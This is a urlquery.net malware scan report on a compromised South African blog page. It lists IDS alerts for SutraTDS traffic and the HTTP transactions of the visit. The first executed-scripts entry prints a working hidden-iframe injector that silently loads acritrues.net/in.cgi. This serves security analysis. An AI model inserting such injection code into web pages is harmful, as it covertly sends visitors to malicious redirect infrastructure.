urlquery.net - Free url scanner

Overview

URL	http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html
IP	41.86.104.163
ASN	AS10474 MWEB-10474
Location	South Africa
Report completed	2012-11-06 07:02:56 CET
Status	Loading report..
urlQuery Alerts	Detected malicious iframe injection Detected SutraTDS URL pattern

Settings

UserAgent	Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader	8.0
Java	1.6.0_26

Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Timestamp	Source IP	Destination IP	Severity	Alert
2012-11-06 07:02:37	urlQuery Client	72.172.91.230	2	ET CURRENT_EVENTS TDS Sutra - request in.cgi
2012-11-06 07:02:37	174.137.132.45	urlQuery Client	3	ET RBN Known Russian Business Network IP (42)

Snort /w Sourcefire VRT

Timestamp	Source IP	Destination IP	Severity	Alert
2012-11-06 07:02:36	urlQuery Client	72.172.91.230	1	MALWARE-CNC TDS Sutra - request in.cgi

Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 41.86.104.163

Date	Alerts / IDS	URL	IP
2012-11-09 16:39:57	2 / 2	http://bethebest.co.za/pblog/chapter/fun-adult-love-quizzes.html	41.86.104.163
2012-11-06 23:38:24	2 / 3	http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	41.86.104.163
2012-11-06 00:44:43	2 / 3	http://bethebest.co.za/pblog/2010/essential-oil-of-sassafras.html	41.86.104.163
2012-10-29 14:46:30	2 / 2	http://bethebest.co.za/pblog/archives/how-to-play-volleyball.html	41.86.104.163
2012-10-27 08:50:44	0 / 2	http://bethebest.co.za/pblog/archives/madison-square-garden.html	41.86.104.163
2012-10-27 05:08:26	2 / 2	http://bethebest.co.za/pblog/archives/ngk-spark-plug.html	41.86.104.163

Last 6 reports on ASN: AS10474 MWEB-10474

Date	Alerts / IDS	URL	IP
2013-02-14 16:42:23	0 / 3	http://www.news24.com/Africa/News/Al-Qaeda-plan-for-northern-Mali-revealed-20130214	41.86.110.200
2013-02-14 15:10:03	0 / 0	http://www.ges-sa.co.za/images/background/rotate.php	196.22.172.216
2013-02-12 18:33:23	1 / 0	http://www.connectingchurches.co.za/	196.22.172.55
2013-02-08 20:21:52	0 / 0	http://www.hitechlab.net	196.22.172.54
2013-02-08 18:51:04	0 / 0	http://www.hitechlab.net/Tonz1m.exe	196.22.172.54
2013-02-07 18:46:32	0 / 0	http://k3security.co.za	196.22.172.216

Last 6 reports on domain: bethebest.co.za

Date	Alerts / IDS	URL	IP
2012-11-09 16:39:57	2 / 2	http://bethebest.co.za/pblog/chapter/fun-adult-love-quizzes.html	41.86.104.163
2012-11-06 23:38:24	2 / 3	http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	41.86.104.163
2012-11-06 00:44:43	2 / 3	http://bethebest.co.za/pblog/2010/essential-oil-of-sassafras.html	41.86.104.163
2012-10-29 14:46:30	2 / 2	http://bethebest.co.za/pblog/archives/how-to-play-volleyball.html	41.86.104.163
2012-10-27 08:50:44	0 / 2	http://bethebest.co.za/pblog/archives/madison-square-garden.html	41.86.104.163
2012-10-27 05:08:26	2 / 2	http://bethebest.co.za/pblog/archives/ngk-spark-plug.html	41.86.104.163

JavaScript

Executed Scripts (12)

Executed Evals (3)

#1 JavaScript::Eval (size: 559, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://acritrues.net/in.cgi?2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://acritrues.net/in.cgi?2');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#2 JavaScript::Eval (size: 5, repeated: 1)

asdas

#3 JavaScript::Eval (size: 4, repeated: 559)

n[i]

Executed Writes (2)

#1 JavaScript::Write (size: 350, repeated: 1)

<script src="http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-rookmedia-rs_js&domain_name=acritrues.net&hl=no&adtest=off&s=acritrues.net&num_ads=0&adsafe=medium&num_radlinks=16&dt=1352181759143&u_tz=60&u_his=1&u_h=885&u_w=1176&frm=2&ref=http%3A%2F%2Fw.acritrues.net%2F"></script>

#2 JavaScript::Write (size: 368, repeated: 1)

<script src="http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi?callback=_google_json_callback&output=js&client=ca-dp-rookmedia32_3ph_js&domain_name=acritrues.net&hl=no&channel=031531&adtest=off&s=acritrues.net&num_ads=10&adsafe=medium&num_radlinks=0&dt=1352181759016&u_tz=60&u_his=1&u_h=885&u_w=1176&frm=2&ref=http%3A%2F%2Fw.acritrues.net%2F"></script>

HTTP Transactions (65)

Request	Response
GET /css/0.1/screen/build/article/2.0/styles.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Server: Apache nnCoection: close Vary: Accept-Encoding Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 495 Cneonction: close Cache-Control: private, max-age=2259 Expires: Tue, 06 Nov 2012 06:39:54 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/global.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 15 Oct 2012 20:38:16 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2481 Cache-Control: private, max-age=72613 Expires: Wed, 07 Nov 2012 02:12:28 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/layout.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2045 Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/masthead.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 568 Cneonction: close Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/navigation.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1307 Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 17 Sep 2012 20:24:59 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2093 Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/mostpopular.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 693 Cneonction: close Cache-Control: private, max-age=43612 Expires: Tue, 06 Nov 2012 18:09:07 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/insideNYTimes.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1052 Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/ads.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2466 Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/macros.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 885 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/article.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 10 Sep 2012 21:02:50 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 3686 Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/googleads.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 636 Cneonction: close Cache-Control: private, max-age=85428 Expires: Wed, 07 Nov 2012 05:46:03 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/articletools.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 850 Cneonction: close Cache-Control: private, max-age=9647 Expires: Tue, 06 Nov 2012 08:43:02 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/sharetools.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1057 Cache-Control: private, max-age=43615 Expires: Tue, 06 Nov 2012 18:09:10 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/sharetools/common.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Thu, 01 Nov 2012 20:47:43 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1577 Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/readercomments.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 546 Cneonction: close Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/section/travel/modules/expedia.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:15 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1911 Cache-Control: private, max-age=73651 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/article/upnext.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:12 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 648 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/article/abstract.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:12 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 956 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/globalEdition/common.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:16 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 525 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/thirdparty/logos/bylinelogos.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 522 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/forms.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1766 Cache-Control: private, max-age=41231 Expires: Tue, 06 Nov 2012 17:29:26 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/dialogbox.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 864 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/community/comments/2.0/commentsModule.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:12 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 5039 Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /css/0.1/screen/common/modal/saveModal.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/sharetools/common.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Thu, 11 Oct 2012 22:21:50 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 561 Cneonction: close Cache-Control: private, max-age=73652 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 06:02:15 GMT Connection: keep-alive
GET /pblog/2009/stone-fireplace-designs.html HTTP/1.1 Host: bethebest.co.za User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive	HTTP/1.1 200 OK Content-Type: text/html Date: Tue, 06 Nov 2012 05:58:46 GMT Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Last-Modified: Sun, 04 Sep 2011 03:08:00 GMT Etag: "d870621-85ad-4ac14e6e60400" Accept-Ranges: bytes Content-Length: 34221 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
GET /css/0.1/screen/common/shell.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 15 Oct 2012 20:38:16 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1241 Cache-Control: private, max-age=79674 Expires: Wed, 07 Nov 2012 04:10:30 GMT Date: Tue, 06 Nov 2012 06:02:36 GMT Connection: keep-alive
